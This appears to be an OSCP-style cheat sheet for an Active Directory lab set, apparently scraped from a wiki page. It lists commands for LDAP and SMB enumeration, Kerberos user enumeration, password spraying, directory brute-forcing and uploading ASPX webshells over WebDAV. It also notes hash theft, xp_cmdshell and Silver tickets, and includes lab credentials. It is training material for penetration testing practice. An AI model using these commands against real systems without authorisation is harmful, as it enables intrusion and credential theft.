AD Set
Based on:
PG Practice: Access, Hokkaido, Hutch, Nagoya, Resourced, Vault
PEN-200: OSCP A, OSCP B, OSCP C
The AD set is an assumed breached scenario, i.e. starts on Creds. However, the techniques used on the PG Play boxes were included for completeness and can be useful for the Windows standalone machine.
No Creds
Port Scan
The nmap-scan script can be found here.
sudo nmap-scan <target-IP>Domain Enumeration
# Enumerate objects
ldapsearch -v -x -b "DC=DC01,DC=offsec" -H "ldap://192.168.120.108" "(objectclass=*)"
# Enumerate users' description field
uv run nxc ldap DC01 -u '' -p '' -M get-desc-userskerbrute userenum -d hokkaido-aerospace.com --dc hokka /usr/share/seclists/Usernames/xato-net-10-million-usernames.txtPassword Spray with
<user>:<user>
HTTP(S)
Dirbust HTTP(S) ports with a directory list (plus server-specific extensions) and a file list
# Dirbust with a directory list
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -ic -ac -c -u http://access/FUZZ -e .aspx,.php,
β
β# Dirbust with a file list
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -ic -ac -c -u http://access/FUZZ# Connect to WebDAV
cadaver http://x7331
Authentication required for hutch on server 'x7331':
Username: x7331
Password:
# Upload a webshell
dav:/> put /usr/share/webshells/aspx/cmdasp.aspx cmdasp.aspx
# Upload a webshell directly
curl -T '/home/kali/shell.aspx' 'http://192.168.64.122/' -u x7331:Pass123!# Create a userlist based on the site users
username-anarchy -i site_users > anarchy_output
# Create a passlist based on the site content
cewl --write cewl_output http://192.168.202.21/SMB
List and enumerate shares
# List shares and permissions
uv run nxc smb DC01 -u celia.almeda -p 7k8XHk3dMtmpnC7 --shares
# Download the target share
nxc smb MS02 -u x7331 -p Pass123! -M spider_plus -o DOWNLOAD_FLAG=True OUTPUT_FOLDER=./ MAX_FILE_SIZE=99999999WRITEaccess (steal hashes)
MS01
Creds
User Context
Privileges (if GUI access check for token elevation) and Groups
SMB
List and enumerate shares
WRITEaccess (steal hashes)
MS02
User Context
Privileges (if GUI access check for token elevation) and Groups
SMB
List and enumerate shares
WRITEaccess (steal hashes)
MSSQL
Enumerate tables
Links
Users
xp_cmdshell
Host enumeration
AD Attacks
If SPNs (e.g. MSSQL) try Silver ticket
Last updated
Was this helpful?